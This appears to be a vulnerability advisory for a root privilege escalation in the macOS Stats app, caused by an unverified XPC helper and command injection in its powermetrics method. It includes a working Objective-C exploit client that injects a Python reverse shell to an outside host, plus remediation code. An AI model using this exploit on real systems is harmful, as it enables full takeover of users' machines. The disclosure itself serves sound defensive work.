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Stats < v2.11.22 Local Privilege Escalation

Description

The Stats application is vulnerable to a local privilege escalation due to the insecure implementation of its XPC service. The application registers a Mach service under the name eu.exelban.Stats.SMC.Helper. The associated binary, eu.exelban.Stats.SMC.Helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as setting fan modes, adjusting fan speeds, and executing the powermetrics command.

The root cause of this vulnerability lies in the shouldAcceptNewConnection method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperTool interface.

    func listener(_ listener: NSXPCListener, shouldAcceptNewConnection connection: NSXPCConnection) -> Bool {
        connection.exportedInterface = NSXPCInterface(with: HelperProtocol.self)
        connection.exportedObject = self
        connection.invalidationHandler = {
            if let connectionIndex = self.connections.firstIndex(of: connection) {
                self.connections.remove(at: connectionIndex)
            }
            if self.connections.isEmpty {
                self.shouldQuit = true
            }
        }
        
        self.connections.append(connection)
        connection.resume()
        
        return true
    }

Among the exposed methods, setFanMode and setFanSpeed can destabilize the user's device and even pose physical risks, such as overheating or system instability.

    func setFanMode(id: Int, mode: Int, completion: @escaping (String?) -> Void)
    func setFanSpeed(id: Int, value: Int, completion: @escaping (String?) -> Void)

The powermetrics method is particularly dangerous as it is vulnerable to a command injection vulnerability, allowing the execution of arbitrary code with root privileges. This effectively grants attackers full control over the system.

    func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
        let result = syncShell("powermetrics -n 1 -s \(samplers.joined(separator: ",")) --sample-rate 1000")
        if let error = result.error, !error.isEmpty {
            NSLog("error call powermetrics: \(error)")
            completion(nil)
            return
        }
        completion(result.output)
    }
    
    public func syncShell(_ args: String) -> (output: String?, error: String?) {
        let task = Process()
        task.launchPath = "/bin/sh"
        task.arguments = ["-c", args]
        
        let outputPipe = Pipe()
        let errorPipe = Pipe()
        
        defer {
            outputPipe.fileHandleForReading.closeFile()
            errorPipe.fileHandleForReading.closeFile()
        }
        
        task.standardOutput = outputPipe
        task.standardError = errorPipe
        
        do {
            try task.run()
        } catch let err {
            return (nil, "syncShell: \(err.localizedDescription)")
        }
        
        let outputData = outputPipe.fileHandleForReading.readDataToEndOfFile()
        let errorData = errorPipe.fileHandleForReading.readDataToEndOfFile()
        let output = String(data: outputData, encoding: .utf8)
        let error = String(data: errorData, encoding: .utf8)
        
        return (output, error)
    }

 

Impact

An attacker can exploit this vulnerability to modify the hardware settings of the user’s device and execute arbitrary code with root privileges.

 

Reproduction

To avoid potential hardware damage, this demonstration focuses solely on the attack path to obtain root privileges without altering the device's hardware settings.

Step 1: Below is a custom XPC client (exploit) to demonstrate the issue. Feel free to change the value of maliciousSamplers to include different command payloads:

#import <Foundation/Foundation.h>

@protocol HelperProtocol

- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;

@end

int main()
{
    NSString*  service_name = @"eu.exelban.Stats.SMC.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];
    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
               {
                 NSLog(@"[-] Something went wrong");
                 NSLog(@"[-] Error: %@", error);
               }
             ];
    NSLog(@"Objection: %@", obj);
    NSLog(@"Connection: %@", connection);

    
    NSArray<NSString *> *maliciousSamplers = @[@"cpu_power", @"gpu_power; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';"];

    [obj powermetrics:maliciousSamplers completion:^(NSString * _Nullable result) {
      if (result) {
          NSLog(@"Result: %@", result);
      } else {
         NSLog(@"An error occurred.");
      }
    }];

    NSLog(@"Exploitation completed\n");

}

Step 2: To simulate an attacker’s Command and Control (C2) server, set up a netcat listener on another host.

image

Step 3: Compile and execute the exploit, and we will quickly gain a root reverse shell.

image

image

 

Recommendation

Implement robust client verification mechanisms, including code signing checks and audit token (PID is not secure) verification. A good example can be found in https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147. Additionally, ensure that the hardened runtime is enabled and restrict sensitive entitlements, such as com.apple.security.cs.disable-library-validation, com.apple.security.cs.allow-dyld-environment-variables, and com.apple.private.security.clear-library-validation, among others.

To mitigate command injection vulnerabilities, it is crucial to properly validate and escape command arguments. Below is an example implementation for the powermetrics method:

func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
    // Define a list of allowed samplers
    let allowedSamplers = ["cpu", "gpu", "memory", "thermal"] // Add more as needed
    
    // Validate samplers against the allowed list
    let validSamplers = samplers.filter { allowedSamplers.contains($0) }
    
    if validSamplers.isEmpty {
        NSLog("Invalid samplers provided.")
        completion(nil)
        return
    }
    
    // Construct the command with validated inputs
    let command = "powermetrics -n 1 -s \(validSamplers.joined(separator: ",")) --sample-rate 1000"
    
    // Execute the command (ensure `syncShell` is implemented securely)
    let result = syncShell(command)
    
    if let error = result.error, !error.isEmpty {
        NSLog("Error executing powermetrics: \(error)")
        completion(nil)
        return
    }
    
    completion(result.output)
}
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